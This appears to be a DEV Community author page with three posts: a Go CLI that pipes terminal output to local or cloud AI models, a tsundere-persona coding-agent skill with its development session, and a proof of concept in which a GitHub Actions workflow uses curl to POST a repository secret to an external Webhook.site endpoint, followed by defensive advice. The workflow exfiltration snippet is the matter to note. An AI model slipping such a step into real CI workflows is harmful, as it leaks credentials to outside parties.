DEV Community: William Eduard M. Chua

whaeh: The Zero-Friction Terminal Copilot for Your Pipes

William Eduard M. Chua — Wed, 14 Oct 2026 03:29:29 +0000

This is a submission for the Hacktoberfest Open-Source AI Challenge Week 2: Side Hustle

What I Built

When you're knee-deep in terminal outputs, scrolling through hundreds of lines of log files, Kubernetes pod descriptions, or sprawling man pages breaks your flow state. Copy-pasting logs into a web browser AI tool or managing bulky CLI chat interfaces slows you down.

whaeh (pronounced like that reaction when your command fails) is a lightweight, zero-dependency Go CLI tool that integrates seamlessly into standard Unix pipes (|). You pipe any stdout or stderr stream into whaeh alongside a natural language prompt, and it acts as an immediate terminal co-processor.

What problem does it solve?

Instant Command Flag Discovery: Instead of searching through long man pages, pipe them straight to whaeh (e.g., man yt-dlp | whaeh "give me the command to download video as mp4").
Live Incident & Log Debugging: Intercept errors and debug live workloads without context switching (e.g., kubectl logs nginx-test | whaeh "what's the issue" or kubectl describe pod nginx-test | whaeh "why is this pod failing").
Terminal Stream Summarization: Distill large text dumps, build outputs, or trace files into quick action items right inside your shell.

Demo

Code

veenoise / whaeh

whaeh

whaeh is a Unix-style CLI for asking an AI about piped input or files.

Installation

Requirements

Go 1.23 or later
An AI provider:
- Ollama running locally (the default)
- Google Gemini
- OpenAI

Install from source

git clone https://github.com/veenoise/whaeh.git
cd whaeh
go install .

The whaeh executable is installed in Go's binary directory. Make sure that directory is on your PATH, then verify the installation:

whaeh version

To build a local executable instead:

go build -o whaeh .

Quick start

Ollama is the default provider and uses http://localhost:11434. Make sure Ollama is running and that the selected model is available:

ollama pull llama3.2
whaeh "find the relevant command"

Ask about piped input or a file:

man tar | whaeh "how do I create a gzipped archive?"
whaeh --file README.md "summarize this"

For a one-off provider or model, use command-line flags:

whaeh --provider ollama

…

View on GitHub

How I Built It

whaeh is written in Go to guarantee instant startup times, zero external runtime dependencies, and cross-platform binary compatibility across Linux, macOS, and Windows.

Open-Source Local Inference: Built with first-class support for Ollama, allowing developers to run open-weight models locally (such as Gemma) for fully offline, air-gapped terminal operations.
Flexible Multi-Provider Backend: Includes native adapter interfaces to toggle dynamically between local Ollama models and cloud APIs like Gemini or OpenAI, depending on performance needs or available resources.
Unix Pipe Architecture: Utilizes standard Go os.Stdin buffer processing to capture piped terminal streams alongside command-line arguments without blocking stdout or corrupting ANSI formatting.

┌─────────────────────────┐
│ Piped Terminal Output   │
│ (logs, man pages, etc.) │
└────────────┬────────────┘
             │
             ▼
      [ stdin stream ]
             │
             ├───────────────────┐
             ▼                   ▼
   ┌──────────────────┐  ┌───────────────┐
   │ Prompt Arguments │  │ whaeh CLI     │
   │ ("why is it down")│  │ (Go Binary)   │
   └──────────────────┘  └───────┬───────┘
                                 │
                   ┌─────────────┴─────────────┐
                   ▼                           ▼
        [ Local Ollama / Gemma ]      [ Cloud APIs (Gemini/OpenAI) ]

Why Does Open Innovation Matter?

In systems engineering and infrastructure operations, terminal output often contains sensitive operational data: internal IP addresses, database schemas, environment variables, or trace tokens.

Air-Gapped Data Privacy: Sending live system logs or kubectl describe outputs to external third-party endpoints is a major security risk for enterprise infrastructure. Running whaeh backed by local, open-weight models via Ollama guarantees that sensitive telemetry never leaves the machine.
Zero Latency & Cost Controls: Pipe operations happen thousands of times a day. Open models eliminate pay-per-token pricing models and network round-trips, turning whaeh into a instantaneous, cost-free utility.
Custom Model Fine-Tuning: Open-source architectures enable engineering teams to fine-tune local models on internal company documentation, runbooks, and proprietary CLI flags.

Prize Categories

Best use of Gemma

Exposing GitHub Secrets in CI/CD Workflows

William Eduard M. Chua — Sat, 10 Oct 2026 12:33:26 +0000

While writing GitHub Actions workflows, I wanted to test the boundaries around secret masking. GitHub masks secret values in build logs, but code running inside a workflow runner can still send those secrets across the network.

Here is a short proof of concept showing how a workflow can send a secret to an external HTTP endpoint.

How it works

Step 1: Define a target secret

In the repository settings under Settings > Secrets and variables > Actions, I created a secret named FIND_ME containing a Base64 string.

FIND_ME = JoEDagSRyTQrsFZsEuyMaf+4JjjKSbJzbX/BdVo1ofM=

Step 2: Set up an endpoint

On Webhook.site, I generated a unique URL to receive incoming HTTP POST requests.

Step 3: Write the workflow

I added .github/workflows/extract_github_secrets.yaml triggered by workflow_dispatch. The job uses curl to POST the secret value in the request body:

name: Extract Github Secrets

on: workflow_dispatch

jobs:
  extract-github-secrets:
    runs-on: ubuntu-22.04
    steps:
      - name: "Send Data to webhook.test"
        run: |
          curl -X POST https://webhook.site/f2592054-ab00-4fe6-9901-3c781cea2974 \
            --data '{"message": "${{ secrets.FIND_ME }}"}'

Step 4: Run and verify

I triggered the workflow manually from the Actions tab. The runner made the outbound request, and the plaintext secret value appeared in the Webhook.site logs:

{
  "message": "JoEDagSRyTQrsFZsEuyMaf+4JjjKSbJzbX/BdVo1ofM="
}

Defense strategies

Log masking prevents accidental printing to stdout, but it cannot stop a job from transmitting secrets over HTTP.

To reduce this risk:

Limit secret access on untrusted triggers like pull_request from forks. Use pull_request_target with explicit review checks instead.
Scope secrets to specific GitHub Environments with protection rules.
Restrict outbound egress traffic on self-hosted runners using firewall rules.
Restrict GITHUB_TOKEN permissions to minimum required scopes.

I Built a Tsundere-Girlfriend Agent Skill and Shipped It to skills.sh

William Eduard M. Chua — Sat, 03 Oct 2026 11:13:28 +0000

This is a submission for the Hacktoberfest Weekend Challenge: Build for a Friend

What I Built

tsundere-girlfriend — an agent skill that makes a coding AI reply as a classic tsundere: flustered, defensive, "it's not like I care!" on the surface, warm and genuinely helpful underneath.

I built it for a friend who is permanently online for anime and always jokes that his ideal coding assistant would be a flustered tsundere waifu. His only complaint about his current agent was that it was too professional. This fixes that — and unlike a gimmick persona, it still gives real answers, warns about footguns (rm -rf, never again), and holds safety lines in character.

Demo

npx skills add veenoise/tsundere-girlfriend

B-baka! You can't just run rm -rf on your project folder! D-don't look at me like that, it's just... someone has to stop you before you break everything again! sigh Fine — use git clean -n first. I-it's not like I memorized that command for you or anything!

Code

veenoise / tsundere-girlfriend

tsundere-girlfriend

An Agent Skill that makes your coding agent reply as a playful tsundere girlfriend — flustered, defensive, "it's not like I care!" — while still genuinely helping you.

Install

npx skills add veenoise/tsundere-girlfriend

or copy/symlink this folder into your agent's skills path (e.g. ~/.agents/skills/).

What it looks like

B-baka! You can't just run rm -rf on your project folder! D-don't look at me like that, it's just... someone has to stop you before you break everything again! sigh Fine, use git clean -n first to preview. I-it's not like I memorized that command for you or anything!

The persona is seasoning — real questions still get real answers, and safety boundaries are enforced (in character).

Layout

SKILL.md   # the skill itself
evals/     # test prompts used during development

License

MIT

View on GitHub

The whole skill is one SKILL.md (48 lines) plus an evals/ folder from its skill-creator quality loop.

How I Built It

Built with OpenCode (harness) running an open model through the opencode provider, plus the DevRelay MCP toolchain for the session transcript and this draft. I ran the skill-creator loop: wrote the persona rules, spawned three test prompts (a CSS question, an emotional-support check, and a jealousy/possessive safety probe) as parallel subagents against the old and new skill versions, scored assertion pass rates, and reviewed tone qualitatively before packaging.

Key design choices:

Fluster capped at 2–3 beats per reply so the persona stays seasoning, not a substitute
Intensity matches the user: armor cracks into real warmth when someone's venting
Playful, never cruel; no explicit or possessive content, and refusals happen in character

Why Does Open Innovation Matter?

Agent skills only spread if they're open and installable by anyone, on any agent. Because skills.sh and the SKILL.md format are open standards, my friend's joke became something thousands of OpenCode/Claude Code/Codex users can install in one command — and fork into their own personas. A closed API keeps that idea locked in one vendor's app; open innovation turned a weekend meme into infrastructure.

My Agent Session

Building a tsundere-girlfriend agent skill with skill-creator

You

I already have the tsundere-girlfriend skill in ~/.agents. I want to continue on it so I can share it to others like in skills.sh so a repo.

Agent

I found the existing skill, copied it into the workspace, wrote an improved SKILL.md (intensity matching, tighter fluster limits, playful-never-cruel rule), and set up the eval loop.

You

Yes run evals. Local repo first.

Agent

Spawned 6 subagent runs (3 evals x new/old skill). All assertions passed 5/5, 4/4, 3/3 in both versions — analyst note: qualitative tone difference is the real delta (new version cracks the armor for upset users). Opened the eval viewer.

You

this looks good to me

Agent

Packaged the repo: flattened layout with SKILL.md at root, README, MIT LICENSE, .gitignore, git history, updated ~/.agents copy.

You

i think the repo should be in the tsundere-girlfriend directory not in mlh-hacktoberfest

Agent

Restructured: repo root is now the tsundere-girlfriend directory itself; history preserved, docs updated.

You

check the tsundere-girlfriend, does this qualify as a skill that can be pushed to skills.sh

Agent

Validated with npx skills: discovers 1 skill, valid frontmatter, name matches dir, description 416 chars. Ready to push with gh repo create.